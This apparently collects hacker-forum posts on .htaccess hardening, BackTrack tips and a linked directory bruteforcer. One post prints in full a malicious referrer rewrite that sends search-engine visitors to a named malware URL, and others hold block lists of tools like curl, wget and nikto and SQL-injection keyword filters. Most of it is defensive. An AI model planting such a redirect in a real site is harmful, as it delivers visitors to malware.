PHP Directory Bruter

its a simple directory bruter that can be used with wordlist.

Here Is The LINK To Code For DIR-BRUT3R

Regards:Madleets

[htaccess] Block Spam Bots from accessing your site.

Author: M4DSh4k

Salamz Everyone , 

Again this is also a nice peace of Code in .htaccess , 
This code will avoid common bots from access your site , 
those bots which spam your board / forum sites.

in this code i have added some common bots , what we are doing is
we are disabling the useragents of bots , 
every bot have their own useragent , from which they crawl the site.
so this will block that by using again htaccess i have added the allow and deny htaccess in this code to.
so you dnt need to add another code from blocking them.
you can add yours if you what 
fell free to modify it 

Here is the code .

Code:

# M4DSh4k:[USER AGENTS Spam bot Disabler]

#SetEnvIfNoCase User-Agent ^$ keep_out
SetEnvIfNoCase User-Agent (<|>|'|<|%0A|%0D|%27|%3C|%3E|%00|href\s) keep_out
SetEnvIfNoCase User-Agent (archiver|binlar|casper|checkprivacy|clshttp|cmsworldmap|comodo|curl|diavol|dotb​ot|email|extract|feedfinder|flicky|grab|harvest|httrack|ia_archiver|jakarta|kmcc​rew|libwww|loader|miner|nikto|nutch|planetwork|purebot|pycurl|python|scan|skygri​d|sucker|turnit|vikspider|wget|winhttp|youda|zmeu|zune) keep_out

  Order Allow,Deny
  Allow from all
  Deny from env=keep_out

for more info regarding this 
read this : http://httpd.apache.org/docs/2.2/mod/mod_setenvif.html

[.htaccess] Redirecting users coming from search engines to Malware Sites

This is the most simple type of .htaccess attack, and the one we see more often. This is what gets added to the .htaccess file of a hacked site

Code:

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://globalpoweringgatheringon.com/in.php?n=30 [R,L]

As you can see, it will check the referrer from anyone visiting the site and if the user came from a Google search (or yahoo or bing or any search engine), it will redirect the user to a page with malware (in this example http://globalpoweringgatheringon.com/in.php?n=30). Note that if you type the site directly in the address bar of your browser, nothing will happen. Why? It makes harder for the owner of the site to detect the attack, since they will probably type the site name, and not search for it on Google.http://globalpoweringgatheringon.com/in.php?n=30 is already effective site by Malwares.All traffic form site will redirect to the effective site. 

[htaccess]how to password protect a directory or admin folder to your ip only

You can secure your admin folder from hacker by allowing only to your ip address and htaccess passwd

1.Go to admin folder create 2 files .htacces and .htpasswd

2.open .htacces

put these code in it

#remeber /home/admin is path complete path to admin folder
AuthUserFile /home/admin/.htpasswd 
AuthName EnterPassword
AuthType Basic
require valid-user

#111.222.333.444 => your ip
order deny,allow
deny from all
allow from 111.222.333.444

3.open .htpasswd

#enter your username:passwd
#you can add many user
mad:12345

[How To] Run Google Chome As Root In BackTrack 5

Author : Dr-Z0mbie

Hello Guys,

Today im going to show how to run google chrome as root in backtrack, I faced

this problem my self when I first installed backtrack

so i thought it might help new linux users

Here Is LINK to video tut

best played in Fullscreen

Hope you guys like it

N0thing is Impossible! =)

[htaccess] Block Proxy users/servers from accessing your Site

 this is a simple Htaccess code , which i was using to block proxy users.

here is the code .

Code:

# Block Proxy users/servers from accessing  your Site.
# H4x0rL1f3 |  M4DSh4k | 1337 | www.MaDLeets.com

RewriteEngine on
RewriteCond %{HTTP:VIA}                 !^$ [OR]
RewriteCond %{HTTP:FORWARDED}           !^$ [OR]
RewriteCond %{HTTP:USERAGENT_VIA}       !^$ [OR]
RewriteCond %{HTTP:X_FORWARDED_FOR}     !^$ [OR]
RewriteCond %{HTTP:PROXY_CONNECTION}    !^$ [OR]
RewriteCond %{HTTP:XPROXY_CONNECTION}   !^$ [OR]
RewriteCond %{HTTP:HTTP_PC_REMOTE_ADDR} !^$ [OR]
RewriteCond %{HTTP:HTTP_CLIENT_IP}      !^$
RewriteRule ^(.*)$ - [F]

i'm not going to explain this code , as i assume its not needed , 
but still if anyone what to ask , you can reply here.
i would love to reply.


usage :

simply make a new .htacces in your public_html folder 
and copy paste the above code in it.

[Htaccess] complete security set (sql injection ,spam ,cookie)

[Htaccess] complete security set (sql injection ,spam ,cookie,)

Code:

RewriteEngine On

Options +FollowSymLinks
ServerSignature Off
  
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} ^.*(\\r|\\n|%0A|%0D).* [NC,OR]

RewriteCond %{HTTP_REFERER} ^(.*)(<|>|'|%0A|%0D|%27|%3C|%3E|).* [NC,OR]
    RewriteCond %{HTTP_COOKIE} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|).* [NC,OR]
    RewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|">|"<|/|\\\.\.\\).{0,9999}.* [NC,OR]

    RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
    RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|scan).* [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|).* [NC,OR]

    RewriteCond %{QUERY_STRING} ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR]
    RewriteCond %{QUERY_STRING} ^.*(localhost|loopback|127\.0\.0\.1).* [NC,OR]
    #RewriteCond %{QUERY_STRING} ^.*\.[A-Za-z0-9].* [NC,OR]
    RewriteCond %{QUERY_STRING} ^.*(<|>|'|%0A|%0D|%27|%3C|%3E|).* [NC]

    RewriteRule ^(.*)$403.html

this code prevent sql injection ,session cookie ,spaming ,and secure your website being scan by antivirus or scanner

Tips To Improve Backtrack

Author: Dr.Z0mbie | http://www.MadLeets.com

Hello everyone
as many people say "backtrack is hard to use" or "backtrack is not for daily use", but today I'm going to give you some tips to make backtrack perfect for your daily use, even KDE (which is harder to use than GNOME )

1. To make software installing much much easier and easier to search for a software Run this command:

Code:

apt-get install software-center

This command will install "Ubuntu Software Center" where you can search for software and install them with just one click


2. To install the best messengers in linux run this command:

Code:

apt-get install empathy && apt-get install pidgin

with those two you can connect and chat with yahoo, MSN, facebook, jabber (like nimbuzz, and mig33), and much more! and I would install them both and try to see which one is the best for my use.  but those two are my personal best xP



3. For screen Recording install XVidCap by running this command:

Code:

apt-get install xvidcap

This one has good quality I used it couple of times and liked it


4. TeamViwer, it can be downloaded from teamviewer.com.. and then installed with the following commands:

Code:

root@bt:~# cd Downloads

root@bt:~/Downloads# dpkg -i teamviewer_linux*.deb

5. For archive extraction (ALMOST ALL TYPES) install ARK but running this command:

Code:

apt-get install ark

I really like it, .rar, .zip, .tar, etc etc it can extract them !
you can also install "unrar" and "zip" by running the commands bellow:

Code:

apt-get install zip
apt-get install unrar

6. Installing VLC, which i failed in when i first used backtrack 
but its the only player which can play .avi and .mpeg ... anyways
here is a video tutorial on how to install it and make it run as root (tut made by me xP)

Code:

http://www.madleets.com/Thread-How-To-Installing-VLC-and-Running-it-as-root

7. and now  google chrome my fav browser  which cant be opened as root  but here is a tut on how to fix this error and make it run as root and run smoothly

Code:

http://www.madleets.com/showthread.php?tid=497

tut made by me as well xP



8. FTP client for linux, my personal best.. filezilla run the command bellow:

Code:

apt-get install filezilla

9. Now this one is for personal use  Offic package just like microsoft word and powerpoint.. but the open source version lol.. run the command bellow:

Code:

apt-get install openoffice.org

this command will install the whole package.. 



10. PDF reader, thats if it was not installed already run this command:

Code:

apt-get install xpdf

11. To install windows based programs "no all, just the most important" we will get "winetricks" which is now available in GUI version.. to make it read to use run these commands:

Code:

root@bt:~# wget http://winetricks.org/winetricks
root@bt:~# chmod +x winetricks

and then to use it just open the terminal and type:

Code:

root@bt:~# ./winetricks

(make sure that its in the same dir as you are by running the command "ls" to check if it was there)



12. to run VB .NET programs you have two options (do them both just to be sure )
installing "mono" by running this command:

Code:

apt-get install mono-complete

(mono is also used as for development not only running programs)
to run a program using mono type this:

Code:

mono PROGRAM-NAME.exe

(be sure to make the program executable using the following command:

Code:

chmod +x PROGRAM-NAME.exe

IF MONO DIDNT WORK, we have another option which is installing .NET framework using "winetricks"
open terminal, enter the dir that has winetricks and then run this command:

Code:

./winetricks corefonts dotnet20

after its done all you have to do is right click on the program you want and then choose "open with wine windows program loader" from the menu

now finally just update and upgrade your system by running this command:

Code:

apt-get update && apt-get upgrade && apt-get moo

that's it
enjoy using backtrack now,, and if you have questions feel free to ask 

---

N0thing is Impossible! =)